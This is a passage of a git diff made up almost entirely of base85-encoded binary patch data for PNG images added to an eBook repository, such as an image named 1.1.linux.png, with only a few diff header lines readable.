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 B_ICgP literal 0 HcmV?d00001 diff --git a/en/eBook/images/1.1.linux.png b/en/eBook/images/1.1.linux.png new file mode 100644 index 0000000000000000000000000000000000000000..539563d96c6eda2e3ae25d9777306c034cab0312 GIT binary patch literal 11235 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 